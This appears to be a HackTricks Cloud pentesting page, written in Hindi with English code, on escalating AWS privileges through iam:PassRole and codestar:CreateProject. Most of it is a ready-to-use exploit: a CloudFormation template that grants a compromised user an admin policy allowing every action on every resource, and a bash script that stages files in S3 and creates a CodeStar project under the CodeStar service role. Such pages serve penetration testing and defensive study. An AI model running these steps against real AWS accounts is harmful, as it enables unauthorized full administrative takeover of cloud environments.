Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md

3.7 KiB

iam:PassRole, codestar:CreateProject

{{#include ../../../../banners/hacktricks-training.md}}

इन अनुमतियों के साथ आप codestar IAM Role का दुरुपयोग कर सकते हैं ताकि मनमाने कार्य को cloudformation template के माध्यम से किया जा सके।

इसका लाभ उठाने के लिए आपको एक S3 बकेट बनानी होगी जो हमले वाले खाते से सुलभ हो। एक फ़ाइल अपलोड करें जिसका नाम toolchain.json हो। इस फ़ाइल में cloudformation template exploit होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि आपके नियंत्रण में एक उपयोगकर्ता को प्रबंधित नीति दी जा सके और उसे प्रशासनिक अनुमतियाँ दी जा सकें:

{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}

इस empty zip फ़ाइल को bucket में भी upload करें:

{{#file}} empty.zip {{#endfile}}

याद रखें कि दोनों फ़ाइलों के साथ bucket पीड़ित खाते द्वारा सुलभ होना चाहिए

दोनों चीजें अपलोड करने के बाद, आप अब exploitation करते हुए एक codestar प्रोजेक्ट बना सकते हैं:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

यह एक्सप्लॉइट इन विशेषाधिकारों के लिए Pacu एक्सप्लॉइट पर आधारित है: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 इसमें आप एक भूमिका के लिए एक व्यवस्थापक प्रबंधित नीति बनाने का एक भिन्नता पा सकते हैं, उपयोगकर्ता के बजाय।

{{#include ../../../../banners/hacktricks-training.md}}